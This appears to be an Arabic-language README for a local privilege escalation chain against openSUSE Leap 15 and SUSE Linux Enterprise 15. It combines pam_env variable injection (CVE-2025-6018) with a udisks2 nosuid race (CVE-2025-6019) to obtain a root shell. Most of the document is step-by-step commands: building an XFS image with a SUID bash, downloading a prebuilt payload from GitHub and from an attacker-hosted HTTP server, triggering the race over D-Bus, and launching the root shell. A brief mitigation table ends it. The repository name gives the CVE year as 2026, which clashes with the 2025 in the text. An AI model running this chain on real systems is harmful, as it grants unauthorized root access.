
سلسلة استغلال لتصعيد الامتيازات المحلية على نظام SUSE Linux، تجمع بين حقن متغيرات بيئة PAM وثغرة سباق في udisks2 للحصول على قشرة صلاحيات الجذر.
نظام التشغيل المستهدف: openSUSE Leap 15.x / SUSE Linux Enterprise 15.x
الوصول المطلوب: مستخدم محلي غير مميز مع وصول SSH
النتيجة: شل جذر كامل
توثق هذه الوثيقة الاستغلال اليدوي لثغرتين محليتين متسلسلتين لتصعيد الامتيازات اكتشفتهما وحدة أبحاث التهديدات في Qualys:
~/.pam_environment، مما يسمح لمستخدم SSH عن بُعد بالحصول على حالة Polkit allow_active المحجوزة عادةً لمستخدمي وحدة التحكم المادية.libblockdev (المستخدم بواسطة udisks2) في تطبيق علامة nosuid عند تركيب نظام ملفات مؤقتًا أثناء عملية D-Bus الخاصة بـ Filesystem.Resize، مما يسمح بتنفيذ ثنائي SUID من جهاز حلقة يتحكم فيه المستخدم.عند ربطهما معًا، تسمح هاتان الثغرتان لأي مستخدم SSH غير مميز بتصعيد الامتيازات إلى الجذر دون أي تفاعل من مستخدمين آخرين.
جهاز المهاجم (Kali Linux):
xfsprogs (sudo apt install xfsprogs -y)gccpython3 -m http.server)الجهاز المستهدف:
udisks2 و polkit (افتراضي على هذه الأنظمة)gdbus (جزء من glib2، مثبت افتراضيًا)بعد الحصول على وصول SSH كمستخدم غير مميز، تأكد من أن الهدف معرض للثغرة.
تحقق من نظام التشغيل:
cat /etc/os-release | grep -E "NAME|VERSION"
يجب أن يكون النظام openSUSE Leap 15.x أو SUSE Linux Enterprise 15.x.
تحقق من أن pam_env يقرأ ملفات المستخدم:
grep "pam_env" /etc/pam.d/common-auth
ابحث عن user_readenv=1 أو ببساطة وجود pam_env.so. على تثبيتات SUSE الافتراضية، هذا مفعّل.
تحقق من أن udisks2 و polkit يعملان:
systemctl is-active udisks2
systemctl is-active polkit
تحقق من سياسة Polkit لإعداد جهاز الحلقة:
grep -A3 "loop-setup" /usr/share/polkit-1/actions/org.freedesktop.UDisks2.policy
يجب أن تكون قيمة allow_active هي yes.
allow_active عبر حقن PAMتستغل هذه الثغرة حقيقة أن pam_env.so يقرأ ~/.pam_environment أثناء تسجيل دخول SSH ويحقن تلك المتغيرات في بيئة الجلسة قبل أن يقوم pam_systemd.so بتقييم سياق الجلسة. من خلال تعيين XDG_SEAT و XDG_VTNR، يخدع المهاجم systemd-logind ليعامل جلسة SSH عن بُعد كجلسة وحدة تحكم مادية، مما يمنح امتيازات Polkit الخاصة بـ allow_active.
احقن المتغيرات:
echo "XDG_SEAT DEFAULT=seat0" > ~/.pam_environment
echo "XDG_VTNR DEFAULT=1" >> ~/.pam_environment
echo "XDG_SESSION_TYPE DEFAULT=x11" >> ~/.pam_environment
سجّل الخروج وأعد الاتصال عبر SSH لتفعيل معالجة PAM:
exit
ssh user@<target_ip>
تحقق من منح allow_active الآن:
loginctl list-sessions
loginctl show-session <SESSION_ID> | grep -E "Active|Seat|VTNr|Remote"
يجب أن يُظهر الإخراج:
Active=yes
Seat=seat0
VTNr=1
عيّن معرف الجلسة وعنوان D-Bus إذا لم يتم تعبئتهما تلقائيًا:
export XDG_SESSION_ID=<SESSION_ID>
export DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/<UID>/bus
يجب تنسيق صورة XFS بميزات متوافقة مع نواة SUSE 15. الإصدارات الحديثة من xfsprogs تفعّل ميزات مثل exchange و parent و bigtime و inobtcount و nrext64 افتراضيًا، وهي غير مدعومة من نواة SUSE الأقدم وستسبب فشل التركيب. العلامات التالية تنتج صورة XFS V5 متوافقة:
dd if=/dev/zero of=/tmp/xfs.image bs=1M count=500
mkfs.xfs -f -m crc=1,reflink=0,rmapbt=0,inobtcount=0,bigtime=0 -i sparse=0,nrext64=0,exchange=0 -n parent=0 -d agcount=4 /tmp/xfs.image
قم بتركيب الصورة وحقن ثنائي bash بنمط SUID:
sudo mkdir -p /tmp/mnt
sudo mount -o loop /tmp/xfs.image /tmp/mnt
sudo cp /bin/bash /tmp/mnt/bash
sudo chmod 4755 /tmp/mnt/bash
ls -la /tmp/mnt/bash
sudo umount /tmp/mnt
يجب أن يُظهر الإخراج -rwsr-xr-x 1 root root.
نظرًا لأن نافذة التركيب المعرضة للخطر أثناء Filesystem.Resize تبلغ بضعة أجزاء من الألف من الثانية فقط، يلزم وجود ثنائي C مُجمّع لالتقاطها بشكل موثوق. حلقة Bash النقية بطيئة جدًا.
قم بتنزيل الحمولة المُجمّعة مسبقًا من صفحة الإصدارات:
wget https://github.com/m0r4a/CVE-2026-6018-9-Local-Privilege-Escalation-Chain/releases/download/v0.0.1/payload -O /tmp/payload
[!NOTE] يمكنك أيضًا تجميع الثنائي بنفسك. الكود المصدري متاح في payload.c.
قم بتقديم كلا الملفين عبر HTTP:
cd /tmp && python3 -m http.server 8888
# نقل صورة XFS
wget http://<attacker_ip>:8888/xfs.image -O /tmp/xfs.image
# نقل ثنائي الالتقاط
wget http://<attacker_ip>:8888/payload -O /tmp/payload
chmod +x /tmp/payload
تتطلب هذه الخطوة جلستي SSH متزامنتين إلى الهدف.
إعداد جهاز الحلقة (في أي من الجلستين):
udisksctl loop-setup -f /tmp/xfs.image --no-user-interaction
لاحظ جهاز الحلقة المعيّن، على سبيل المثال /dev/loop1.
الجلسة 1: شغّل أداة الالتقاط واتركها تعمل:
/tmp/payload
[!NOTE] إذا خرجت أداة الالتقاط فورًا دون إنتاج شل جذر، حاول تشغيلها قبل إعداد جهاز الحلقة وكرر التسلسل.
الجلسة 2: شغّل عملية تغيير الحجم فورًا:
export DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/<UID>/bus
gdbus call --system --dest org.freedesktop.UDisks2 --object-path /org/freedesktop/UDisks2/block_devices/loop1 --method org.freedesktop.UDisks2.Filesystem.Resize 0 "{}"
سيعيد استدعاء Resize خطأً، ولكن قبل الفشل، يقوم libblockdev بتركيب نظام الملفات في مسار مؤقت تحت /tmp/blockdev.XXXXXX/ دون علامة nosuid. تكتشف أداة الالتقاط في الجلسة 1 هذا التركيب، وتنفذ ثنائي bash بنمط SUID من داخله، وتنسخ شل جذر إلى /tmp/rootbash، وتشغّله.
[!NOTE] إذا واجهت مشاكل مع
Not authorized to perform operation، حاول استخدام الطرفية التي نجحت في تنفيذ أمرudiskctl loop-setup...واستخدم الطرفية الأخرى لتشغيل سكربت/tmp/payload.
بمجرد اكتمال أداة الالتقاط، يتم تشغيل شل الجذر تلقائيًا أو يمكن الحصول عليه عبر:
/tmp/rootbash -p
whoami
# root
| المكوّن | الإصلاح |
|---|
| CVE-2025-6018 | تعطيل user_readenv في PAM: عيّن user_readenv=0 في /etc/pam.d/common-auth |
| CVE-2025-6019 | تحديث libblockdev و udisks2 إلى الإصدارات المُصححة من موزّع التوزيعة |
| تقوية Polkit | تغيير allow_active إلى auth_admin لـ org.freedesktop.udisks2.loop-setup في ملف سياسة UDisks2 |